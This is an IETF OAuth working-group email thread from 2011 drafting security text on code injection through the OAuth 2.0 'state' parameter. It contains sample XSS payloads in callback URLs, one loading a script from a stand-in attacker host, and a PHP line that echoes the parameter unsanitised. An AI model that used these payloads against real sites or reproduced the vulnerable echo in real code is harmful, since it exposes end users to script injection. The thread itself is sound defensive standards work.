Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter

[Aiden Bell <[e-mail]>]

Sounds good Eran

On 25 July 2011 07:37, Eran Hammer-Lahav <[e-mail]> wrote:

> This seems too verbose, considering how fundamental input validation is in
> general.****
>
> ** **
>
> I added the following to a new section:****
>
> ** **
>
>           A code injection attack occurs when an input or otherwise
> external variable is used by an****
>
>           application in which that input can cause modification of the
> application logic when used****
>
>           unsanitized. This may allow an attacker to gain access to the
> application device or its****
>
>           data, cause denial of service, or a wide range of malicious
> side-effects.****
>
>         </t>****
>
>         <t>****
>
>           The Authorization server and client MUST validate and sanitize
> any value received, and in****
>
>           particular, the value of the ‘state’ and ‘redirect_uri’
> parameters.****
>
> ** **
>
> EHL****
>
> ** **
>
> ** **
>
> ** **
>
> *From:* [e-mail] [mailto:[e-mail]] *On Behalf
> Of *Aiden Bell
> *Sent:* Wednesday, July 20, 2011 12:04 PM
> *To:* OAuth WG
>
> *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter****
>
> ** **
>
> See below for revision, tried to follow the "introduction, recommendation,
> example"
> structure in 10.12 "Cross-site Request Forgery" and shorten my text.
>
> I'm strugging to make it clear that any internal modification to the
> 'state' parameter
> must not affect the re-transmitted value of 'state' in Authorization
> Response / Error
> Response when it originates from the authorisation server.
>
> ---****
>
>
> Security Consideration: Code Injection Attacks****
>
> Code injection attacks are when an input or otherwise external variable is
> used within
> an application where that input can cause modification of application logic
> when unsanitised. This may allow an attacker to gain access to client or
> user data,
> cause Denial of Service or a wide range of malicious side-effects.****
>
>
>
> Incorrect validation or sanitation of the 'state' parameter from section
> 4.1.2 could lead to code
> injection. Both client and server SHOULD ensure that the "state" parameter
> described****
>
> in section 4.1.2 is correctly sanitised for internal processing, storage or
> output outside the
> scope of the OAuth protocol.
>
> Failure to correctly sanitise the 'state' parameter can cause code
> injection attacks even if a
> cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is
> used.
>
> As an example, a malicious person may create a fake Error Response as
> described in section
> 4.1.2.1 containing a maliciously crafted state parameter. The following
> request would be sent to
> the client:
>
>
> https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E
>
> Insecure transfer of the decoded value into the HTML buffer of the client
> application
> may result in the injection of code into the user agent of the end user,
> possibly compromising data.
> This example attack can be mitigated by sanitising the 'state' parameter to
> remove or escape HTML
> syntax before interpolation of the value into server output to the user
> agent.
>
> --end--****
>
> On 20 July 2011 19:40, Eran Hammer-Lahav <[e-mail]> wrote:****
>
> Take a look at how the other sections in the draft setup the premise first
> and give a quick explanation of the attack…****
>
>  ****
>
> EHL****
>
>  ****
>
> *From:* Aiden Bell [mailto:[e-mail]]
> *Sent:* Wednesday, July 20, 2011 11:38 AM
> *To:* Eran Hammer-Lahav; OAuth WG****
>
>
> *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter****
>
>  ****
>
> Been following this discussion
>
> I'll propose some text, though it seems to me it is getting into the realm
> of "Don't trust inputs"
>
> It is also worth noting that signing the request using something like the
> HMAC extension elevates any
> problems where you DO need to evaluate the state parameter in some way
> where the evaluation process
> is too complex to secure (DSLs and languages in state, which is really ugly
> but, someone may do it).
>
> Really though, just seems like general application security advice rather
> than OAuth specific
>
> Security Consideration: Code Injection Attacks
>
> Incorrect validation or sanitation of the 'state' parameter from section
> 4.1.2 could lead to code
> injection.
>
> Both client and server SHOULD ensure that the "state" parameter described
> in section 4.1.2 is correctly validated, escaped or sanitised prior to
> processing for their application's
> requirements. Modifications, for security or otherwise to the 'state'
> variable contained in the Authorization Request by the
> authorization server will not be transmitted to the client in the
> Authorization Response or Error Response
> as the response 'state' value MUST be identical to the value in the
> request.
>
> If the 'state' parameter passed between client and server contains a value
> which is interpreted or
> otherwise placed into a context that requires evaluation of the unmodified
> value then a cryptographic
> scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used
> to verify request authenticity.
> It should be noted however than a cryptographically authentic request may
> still contain malicious
> code if the client or server integrity can not be established and trusted.
>
> As an example, a malicious person may create a fake Error Response as
> described in section
> 4.1.2.1 containing a maliciously crafted state parameter. The following
> request would be sent to
> the client:
>
>
> https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E
>
> Insecure transfer of the decoded value into the HTML buffer of the client
> application
> may result in the injection of code into the user agent of the end user,
> possibly compromising data.
> This example attack can be mitigated by sanitising the 'state' parameter to
> remove or escape HTML
> syntax before interpolation of the value into server output to the user
> agent.
>
> --end--
>
> Not claiming it is good, well written or concise ... but it is proposed.
> Even if it is rejected, feedback
> would be appreciated.
>
> Thanks,
> Aiden****
>
> On 20 July 2011 18:36, Eran Hammer-Lahav <[e-mail]> wrote:****
>
> I think most of your description isn't very relevant to this particular
> attack. I'll skip to the part where the legitimate client gets a maliciously
> modified state parameter value.
>
> Your concern seems to be a simple code injection attack (e.g. that some
> clients will not properly protect their code from invalid state values). For
> example, a client may use state to pass a JSON string and when it receives
> it back, calls eval() on the raw state value or even JSON.parse without
> catching exceptions.
>
> The right way to address this is to add a new security consideration
> section discussion the various Injection Attacks possible. Using state to
> include malicious code is one. Another is code injection in the redirect_uri
> by a malicious client to an authorization server supporting dynamic
> redirection URIs.
>
> Then of course, there really is no need for any elaborate setup for anyone
> to send requests to the client redirection URI endpoint directly (without
> following any of the flow). In such a case, the enforcement of safe state
> values by the authorization server will accomplish nothing if the client
> doesn't perform its own validation (and we're back to square one). In other
> words, I can call any endpoint on the client with any malicious parameters
> and try to break it.
>
> But even if you perform input validation on the client side, which should
> prevent a code injection attack, you are still open to other malicious
> manipulation of the state parameter. For example, a naïve client can use the
> state parameter to pass a user id so that when the redirection callback is
> called, it can link the access token to that account. That of course, would
> be a very bad thing (tm) without some protection (e.g. state cookie) which
> the client can use to validate the state value.
>
> In short, over specification does not solve ignorance. We can and should
> highlight the possible code injection attacks on both the client and
> authorization server, as well as other security concerns around the state
> parameter. But at the end, it is up to both the client and authorization
> server developers to build secure applications.
>
> So, anyone volunteering to propose text?****
>
>
> EHL
>
>
> > -----Original Message-----
> > From: [e-mail] [mailto:[e-mail]] On Behalf Of
> > Bob Van Zant****
>
> > Sent: Wednesday, July 20, 2011 9:29 AM
> > To: Eran Hammer-Lahav
> > Cc: Breno; OAuth WG****
>
> > Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> >
> > The problem lies in the inherent trust of the state parameter. The naive
> > client application developer assumes that state goes out to the
> authorization
> > server and comes back unchanged; because that's what the spec says will
> > happen.
> >
> > As a malicious person I use the client application and steal the client
> id when
> > I'm redirected to the authorization server.
> >
> > I then craft my own authorization URL pretending to act on behalf of the
> > client application.
> >
> > http://example.com/oauth/authorize?client_id=deadbeef&response_type=
> > code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E
> >
> > I send that out to unsuspecting people. Those people are sent to my site;
> > maybe they trust it. The site is asking them to authorize an application
> they
> > perhaps they're familiar with. So they do.
> >
> > Now the assumption, and it's really not much of a leap of faith, is that
> some
> > client developer is going to take that state variable and put it directly
> into
> > their site. In PHP it could be something silly
> > like:
> >
> >     Thanks for authorizing our app, $_GET["state"].
> >
> > Chrome protects me from this basic attack (I just inserted it into one of
> my
> > demos): Refused to execute a JavaScript script. Source code of script
> found
> > within request. Other browsers won't. Real attackers are more creative
> than
> > me.
> >
> > -Bob
> >
> >
> >
> >
> >
> > On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav
> > <[e-mail]> wrote:
> > > Can you provide examples of bad values and how they make the
> > implementation less secure? What's the attack vector here?
> > >
> > > EHL
> > >
> > >> -----Original Message-----
> > >> From: [e-mail] [mailto:[e-mail]] On Behalf
> > Of
> > >> Bob Van Zant
> > >> Sent: Wednesday, July 20, 2011 9:10 AM
> > >> To: Breno; Eran Hammer-Lahav
> > >> Cc: OAuth WG
> > >> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> > >>
> > >> I think somewhere in here my original comments got lost. The spec, as
> > >> written, provides no limitations on what can go in the state variable.
> > >> If we don't define those limitations in the spec implementors are
> > >> going to define their own limitations (I'm on the verge of doing it
> myself).
> > >>
> > >> I propose that the state variable be limited to the set of characters
> > >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150
> characters.
> > >> It's simple, doesn't require URL encoding, and will be hard for a
> > >> client application to turn into a vulnerability. It provides plenty
> > >> of uniqueness (it can fit a sha512) for even the largest and most used
> > client applications.
> > >>
> > >> -Bob
> > >>
> > >>
> > >> On Wed, Jul 20, 2011 at 8:24 AM, Breno <[e-mail]>
> > >> wrote:
> > >> >
> > >> >
> > >> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav
> > >> > <[e-mail]>
> > >> > wrote:
> > >> >>
> > >> >>
> > >> >> > -----Original Message-----
> > >> >> > From: [e-mail] [mailto:[e-mail]] On
> > >> >> > Behalf Of Eliot Lear
> > >> >> > Sent: Sunday, July 17, 2011 2:49 AM
> > >> >>
> > >> >> > One other point: if the redirection_uri can have fragments and
> > >> >> > can be provided, why is state necessary?
> > >> >>
> > >> >> First, I assume you mean query instead of fragment.
> > >> >>
> > >> >> This was discussed on the list about a year ago. There isn't a
> > >> >> requirement to support both dynamic redirection URIs as well as a
> > >> >> special state parameter. However, the state parameter provides a
> > >> >> better way to allow customization of the redirection request
> > >> >> alongside full registration of the redirection URI. Section 3.1.2
> > >> >> recommends using the state parameter over changing the redirection
> > >> >> URI
> > >> itself.
> > >> >>
> > >> >> Using state is much simpler because the authorization server does
> > >> >> not have to implement potentially insecure URI comparison
> > >> >> algorithms for dynamic redirection URIs.
> > >> >
> > >> > Agree -- for instance, Google's provider doesn't allow arbitrary
> > >> > dynamic specification of query or fragment parameters in redirect
> > >> > URIs, for instance, due largely to security considerations.
> > >> >
> > >> >>
> > >> >> EHL
> > >> >> _______________________________________________
> > >> >> OAuth mailing list
> > >> >> [e-mail]
> > >> >> https://www.ietf.org/mailman/listinfo/oauth
> > >> >
> > >> >
> > >> >
> > >> > --
> > >> > Breno de Medeiros
> > >> >
> > >> >
> > >
> _______________________________________________
> OAuth mailing list
> [e-mail]
> https://www.ietf.org/mailman/listinfo/oauth****
>
>
>
>
> --
> ------------------------------------------------------------------
> Never send sensitive or private information via email unless it is
> encrypted. http://www.gnupg.org****
>
>
>
>
> --
> ------------------------------------------------------------------
> Never send sensitive or private information via email unless it is
> encrypted. http://www.gnupg.org****
>



-- 
------------------------------------------------------------------
Never send sensitive or private information via email unless it is
encrypted. http://www.gnupg.org